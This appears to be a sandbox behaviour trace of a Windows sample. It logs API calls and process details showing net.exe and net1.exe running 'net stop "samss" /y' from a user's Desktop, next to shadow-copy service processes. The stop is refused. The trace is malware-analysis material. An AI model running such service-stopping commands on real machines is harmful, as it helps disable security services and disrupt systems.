	[0209.075] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0209.075] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x16f750, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0209.076] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x6e) returned 0x29c060
	[0209.076] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0209.076] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x16f9a8 | out: Buffer=0x16f9a8*=0x294d40) returned 0x0
	[0209.076] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x16f9a8 | out: Buffer=0x16f9a8*=0x29c0e0) returned 0x0
	[0209.076] _fileno (_File=0x7fefe122a80) returned 0
	[0209.077] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0209.077] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0209.077] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0209.077] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0209.077] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0209.077] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0209.078] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0209.078] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0209.078] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0209.078] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0209.078] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0209.078] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0209.078] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0209.078] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0209.078] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0209.078] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0209.078] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0209.078] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0209.078] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0209.078] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0209.078] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0209.079] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0209.079] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0209.079] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0209.079] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0209.079] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0209.079] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0209.079] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0209.079] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0209.079] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0209.079] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0209.079] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0209.079] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0209.080] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0209.080] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0209.080] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0209.080] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0209.080] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0209.080] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0209.080] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0209.080] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0209.080] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0209.080] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0209.080] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0209.080] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0209.080] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0209.080] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0209.080] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0209.080] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0209.081] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0209.081] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0209.081] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0209.081] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0209.081] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0209.081] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0209.081] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0209.081] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0209.081] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0209.081] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0209.081] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0209.081] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0209.081] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0209.081] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0209.082] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0209.082] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0209.082] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0209.082] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0209.083] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x29cdf0
	[0209.387] GetServiceKeyNameW (in: hSCManager=0x29cdf0, lpDisplayName="SAMSS", lpServiceName=0xffd35750, lpcchBuffer=0x16f8c8 | out: lpServiceName="", lpcchBuffer=0x16f8c8) returned 0
	[0209.391] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0209.391] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0209.391] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0209.392] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0209.392] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0209.392] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0209.392] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0209.392] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0209.392] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0209.392] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0209.392] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0209.392] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0209.392] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0209.392] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0209.393] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0209.393] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0209.393] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0209.393] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0209.393] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0209.393] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x16f8d0 | out: bufptr=0x16f8d0) returned 0x0
	[0209.403] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x16f888 | out: Buffer=0x16f888*=0x2a0c70) returned 0x0
	[0209.403] OpenServiceW (hSCManager=0x29cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x29ce50
	[0209.403] QueryServiceStatus (in: hService=0x29ce50, lpServiceStatus=0x16f830 | out: lpServiceStatus=0x16f830*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0209.404] NetApiBufferFree (Buffer=0x2a0c70) returned 0x0
	[0209.404] CloseServiceHandle (hSCObject=0x29ce50) returned 1
	[0209.405] wcscpy_s (in: _Destination=0xffd380d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0209.405] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0209.408] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffd35b50, nSize=0x800, Arguments=0xffd37f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0209.412] GetFileType (hFile=0xb) returned 0x2
	[0209.413] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16f728 | out: lpMode=0x16f728) returned 1
	[0209.414] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd35b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x16f720, lpReserved=0x0 | out: lpBuffer=0xffd35b50*, lpNumberOfCharsWritten=0x16f720*=0x47) returned 1
	[0209.415] GetFileType (hFile=0xb) returned 0x2
	[0209.416] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16f728 | out: lpMode=0x16f728) returned 1
	[0209.416] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd11efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f720, lpReserved=0x0 | out: lpBuffer=0xffd11efc*, lpNumberOfCharsWritten=0x16f720*=0x2) returned 1
	[0209.417] _ultow (in: _Dest=0x88f, _Radix=1505168 | out: _Dest=0x88f) returned="2191"
	[0209.417] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffd35b50, nSize=0x800, Arguments=0xffd37f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0209.418] GetFileType (hFile=0xb) returned 0x2
	[0209.419] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16f728 | out: lpMode=0x16f728) returned 1
	[0209.420] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd35b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x16f720, lpReserved=0x0 | out: lpBuffer=0xffd35b50*, lpNumberOfCharsWritten=0x16f720*=0x34) returned 1
	[0209.421] GetFileType (hFile=0xb) returned 0x2
	[0209.421] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16f728 | out: lpMode=0x16f728) returned 1
	[0209.422] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd11efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f720, lpReserved=0x0 | out: lpBuffer=0xffd11efc*, lpNumberOfCharsWritten=0x16f720*=0x2) returned 1
	[0209.424] NetApiBufferFree (Buffer=0x294d40) returned 0x0
	[0209.424] NetApiBufferFree (Buffer=0x29c0e0) returned 0x0
	[0209.424] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0209.424] exit (_Code=2) 

Process:
	id = "65"
	image_name = "vssvc.exe"
	filename = "c:\\windows\\system32\\vssvc.exe"
	page_root = "0x16695000"
	os_pid = "0x21b8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b7e890"
	monitor_reason = "rpc_server"
	parent_id = "55"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\system32\\vssvc.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0008315b" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 1931
	os_tid = 0x19c8


Thread:
	id = 1932
	os_tid = 0x2330


Thread:
	id = 1933
	os_tid = 0x22e8

	[0211.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf2d7c0 | out: lpSystemTimeAsFileTime=0xf2d7c0*(dwLowDateTime=0x4e098430, dwHighDateTime=0x1d5cdef)) 
	[0211.338] GetCurrentProcessId () returned 0x21b8
	[0211.338] GetCurrentThreadId () returned 0x22e8
	[0211.338] GetTickCount () returned 0x117a506
	[0211.338] QueryPerformanceCounter (in: lpPerformanceCount=0xf2d7c8 | out: lpPerformanceCount=0xf2d7c8*=35309076713) returned 1
	[0211.338] malloc (_Size=0x100) returned 0x188e80

Thread:
	id = 1934
	os_tid = 0x22e4


Thread:
	id = 1935
	os_tid = 0x22a4


Thread:
	id = 1936
	os_tid = 0x21bc


Thread:
	id = 1938
	os_tid = 0x2418


Thread:
	id = 2213
	os_tid = 0x2308


Thread:
	id = 2265
	os_tid = 0x28d0


Thread:
	id = 2773
	os_tid = 0x3088


Process:
	id = "66"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x9014000"
	os_pid = "0x3f8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "65"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7]


Thread:
	id = 1942
	os_tid = 0x188c


Thread:
	id = 1943
	os_tid = 0x844


Thread:
	id = 1944
	os_tid = 0x128


Thread:
	id = 1945
	os_tid = 0x7c8


Thread:
	id = 1946
	os_tid = 0x6cc


Thread:
	id = 1947
	os_tid = 0x644


Thread:
	id = 1948
	os_tid = 0x63c


Thread:
	id = 1949
	os_tid = 0x154


Thread:
	id = 1950
	os_tid = 0x118


Thread:
	id = 1951
	os_tid = 0x3fc


Thread:
	id = 1995
	os_tid = 0x24ec


Thread:
	id = 1996
	os_tid = 0x24f0


Thread:
	id = 1997
	os_tid = 0x24f8


Thread:
	id = 3709
	os_tid = 0x3ecc


Process:
	id = "67"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x14910000"
	os_pid = "0x2534"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2012
	os_tid = 0x2538


Process:
	id = "68"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x1479f000"
	os_pid = "0x242c"
	os_integrity_level = "0x4000"
	os_privileges = "0x60814080"
	monitor_reason = "rpc_server"
	parent_id = "65"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:000841f2" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 2182
	os_tid = 0x260c


Thread:
	id = 2183
	os_tid = 0x24f4


Thread:
	id = 2184
	os_tid = 0x24dc


Thread:
	id = 2185
	os_tid = 0x24d8


Thread:
	id = 2186
	os_tid = 0x24a4


Thread:
	id = 2187
	os_tid = 0x2430


Thread:
	id = 2678
	os_tid = 0x2f5c


Process:
	id = "69"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x14138000"
	os_pid = "0x28c8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "67"
	os_parent_pid = "0x2534"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2264
	os_tid = 0x28cc

	[0219.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xaf890 | out: lpSystemTimeAsFileTime=0xaf890*(dwLowDateTime=0x52fe4110, dwHighDateTime=0x1d5cdef)) 
	[0219.681] GetCurrentProcessId () returned 0x28c8
	[0219.681] GetCurrentThreadId () returned 0x28cc
	[0219.681] GetTickCount () returned 0x117c581
	[0219.681] QueryPerformanceCounter (in: lpPerformanceCount=0xaf898 | out: lpPerformanceCount=0xaf898*=36143435333) returned 1
	[0219.683] GetModuleHandleW (lpModuleName=0x0) returned 0xffb20000
	[0219.683] __set_app_type (_Type=0x1) 
	[0219.683] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb39c9c) returned 0x0
	[0219.684] __getmainargs (in: _Argc=0xffb44780, _Argv=0xffb44790, _Env=0xffb44788, _DoWildCard=0, _StartInfo=0xffb4479c | out: _Argc=0xffb44780, _Argv=0xffb44790, _Env=0xffb44788) returned 0
	[0219.685] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0219.685] GetConsoleOutputCP () returned 0x1b5
	[0219.686] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffb4cec0 | out: lpCPInfo=0xffb4cec0) returned 1
	[0219.686] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0219.693] sprintf_s (in: _DstBuf=0xaf838, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0219.695] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0219.700] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0219.700] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0219.700] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0219.700] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xaf5d0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0219.700] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0x0, Size=0x6e) returned 0xfc060
	[0219.701] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0219.701] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xaf828 | out: Buffer=0xaf828*=0xf4d40) returned 0x0
	[0219.701] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xaf828 | out: Buffer=0xaf828*=0xfc0e0) returned 0x0
	[0219.701] _fileno (_File=0x7fefe122a80) returned 0
	[0219.702] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0219.702] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0219.703] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0219.703] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0219.703] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0219.703] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0219.703] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0219.703] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0219.703] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0219.703] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0219.703] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0219.703] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0219.703] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0219.703] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0219.704] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0219.704] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0219.704] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0219.704] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0219.704] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0219.704] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0219.704] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0219.704] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0219.704] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0219.704] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0219.705] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0219.705] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0219.705] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0219.705] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0219.705] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0219.705] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0219.705] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0219.705] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0219.705] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0219.705] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0219.705] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0219.705] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0219.706] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0219.706] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0219.706] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0219.706] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0219.706] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0219.706] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0219.706] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0219.706] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0219.706] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0219.706] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0219.706] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0219.707] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0219.707] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0219.707] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0219.707] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0219.707] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0219.707] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0219.707] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0219.707] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0219.707] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0219.707] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0219.707] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0219.707] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0219.707] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0219.708] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0219.708] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0219.708] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0219.708] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0219.708] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0219.708] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0219.709] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0219.710] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0xfcdf0
	[0222.255] GetServiceKeyNameW (in: hSCManager=0xfcdf0, lpDisplayName="SAMSS", lpServiceName=0xffb45750, lpcchBuffer=0xaf748 | out: lpServiceName="", lpcchBuffer=0xaf748) returned 0
	[0222.262] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0222.262] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0222.262] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0222.263] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0222.263] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0222.263] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0222.263] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0222.263] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0222.263] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0222.263] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0222.263] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0222.263] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0222.263] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0222.263] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0222.264] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0222.264] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0222.264] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0222.264] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0222.264] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0222.264] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0xaf750 | out: bufptr=0xaf750) returned 0x0
	[0222.272] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0xaf708 | out: Buffer=0xaf708*=0x100c70) returned 0x0
	[0222.272] OpenServiceW (hSCManager=0xfcdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0xfce50
	[0222.853] QueryServiceStatus (in: hService=0xfce50, lpServiceStatus=0xaf6b0 | out: lpServiceStatus=0xaf6b0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0222.854] NetApiBufferFree (Buffer=0x100c70) returned 0x0
	[0222.854] CloseServiceHandle (hSCObject=0xfce50) returned 1
	[0222.855] wcscpy_s (in: _Destination=0xffb480d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0222.855] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0222.858] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffb45b50, nSize=0x800, Arguments=0xffb47f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0222.864] GetFileType (hFile=0xb) returned 0x2
	[0222.865] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xaf5a8 | out: lpMode=0xaf5a8) returned 1
	[0222.866] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffb45b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0xaf5a0, lpReserved=0x0 | out: lpBuffer=0xffb45b50*, lpNumberOfCharsWritten=0xaf5a0*=0x47) returned 1
	[0222.869] GetFileType (hFile=0xb) returned 0x2
	[0222.870] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xaf5a8 | out: lpMode=0xaf5a8) returned 1
